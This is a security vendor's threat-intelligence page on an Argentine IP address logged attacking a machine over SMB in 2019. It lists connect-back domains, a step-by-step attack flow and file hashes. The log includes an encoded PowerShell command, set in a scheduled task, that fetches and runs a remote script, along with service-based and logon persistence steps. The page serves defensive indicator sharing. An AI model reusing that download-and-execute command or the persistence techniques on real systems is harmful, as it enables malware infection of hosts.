IP Address: 200.70.37.80Malicious

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IP Address:
200.70.37.80​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker

Services Targeted

SMB

Tags

DNS Query System File Modification Service Start File Operation By CMD Service Creation Service Deletion CMD Service Configuration Download File SMB Share Connect Access Suspicious Domain Failed SMB Login Scheduled Task Creation Persistency - Logon Listening SMB Null Session Login SMB PowerShell Download and Execute Service Stop

Connect Back Servers

pp.abbny.com ii.haqo.net i.haqo.net oo.beahh.com

Basic Information

IP Address

200.70.37.80

Domain

-

ISP

-

Country

Argentina

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-10-27

Last seen in Guardicore Centra

2019-10-27

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

The file C:\Windows\fAcRDZfg.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\facrdzfg.exe as a service named Vjka under service group None

Service Start Service Creation

C:\Windows\temp\tmp.vbs was downloaded

Download File

Service Vjka was stopped

Service Stop

The file c:\windows\syswow64\drivers\svchost.exe was downloaded and executed 2 times

Download and Execute

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetooths

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 4 times

System File Modification

The file C:\Windows\temp\svchost.exe was downloaded and executed 8 times

Download and Execute

Process c:\windows\temp\svchost.exe started listening on ports: 60124 3 times

Listening

c:\windows\temp\ttt.exe set the command line c:\windows\SysWOW64\wmiex.exe to run using Persistency - Logon

Persistency - Logon

C:\Windows\dZHUZyxh.exe was downloaded

Download File

The file c:\windows\syswow64\wmiex.exe was downloaded and executed 2 times

Download and Execute

c:\windows\system32\services.exe installed and started c:\windows\syswow64\wmiex.exe as a service named WebServers under service group None

Service Start Service Creation

The command line C:\Windows\temp\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\DnsScan

Process c:\windows\syswow64\wmiex.exe attempted to access suspicious domains: ii.haqo.net, oo.beahh.com and pp.abbny.com

DNS Query Access Suspicious Domain

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

System file c:\windows\syswow64\drivers\svchost.exe was modified 9 times

System File Modification

c:\windows\temp\setup-install.exe set the command line c:\windows\SysWOW64\drivers\svchost.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\syswow64\drivers\svchost.exe as a service named Ddriver under service group None

Service Start Service Creation

The command line cmd.exe /c c:\windows\SysWOW64\wmiex.exe was scheduled to run by modifying C:\Windows\System32\Tasks\WebServers

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

Process c:\windows\syswow64\drivers\svchost.exe started listening on ports: 65533

Listening

The file C:\Windows\Temp\_MEI11322\python27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

Process c:\windows\syswow64\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net

DNS Query Access Suspicious Domain

Connection was closed due to user inactivity

A user failed to login using SMB with the following username: Administrator 8 times

Failed SMB Login

Associated Files

c:\windows\syswow64\wmiex.exe

SHA256: b771267551961ce840a1fbcd65e8f5ecd0a21350387f35bbcd4c24125ec04530

73,776 bytes

c:\windows\syswow64\drivers\svchost.exe

SHA256: bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc

201,776 bytes

C:\Windows\fAcRDZfg.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56,320 bytes

C:\Windows\temp\setup-install.exe

SHA256: bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc

201,776 bytes

c:\windows\temp\ttt.exe

SHA256: b771267551961ce840a1fbcd65e8f5ecd0a21350387f35bbcd4c24125ec04530

73,776 bytes

C:\Windows\temp\svchost.exe

SHA256: 60b6d7664598e6a988d9389e6359838be966dfa54859d5cb1453cbc9b126ed7d

5,916,920 bytes

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IP Address: 200.70.37.80​Malicious